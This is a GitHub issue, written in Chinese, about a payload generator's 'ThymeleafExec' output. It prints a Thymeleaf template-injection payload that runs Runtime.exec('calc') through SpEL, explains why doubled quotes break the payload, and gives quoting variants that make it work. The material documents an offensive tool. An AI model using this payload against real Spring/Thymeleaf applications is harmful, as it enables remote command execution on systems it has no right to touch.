Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

ThymeleafExec输出的Payload有误 #45

Copy link
Copy link
@se1zer

Description

@se1zer
Issue body actions

ThymeleafExec输出的payload内容如下:

Image
__*{ ''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}__::.x

在SpelExpressionParser中再次通过''.getClass()获取 Class 对象会报错
原因:SpelExpressionParser解析字符串时使用StringLiteral对象,初始化时会取出中间字符串将''替换为 ',导致最终的payload变为'.getClass()从而抛出异常

Image使用 '''.getClass()可成功,或使用().getClass()1.getClass()等方式

Reactions are currently unavailable

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions

      Morty Proxy This is a proxified and sanitized view of the page, visit original site.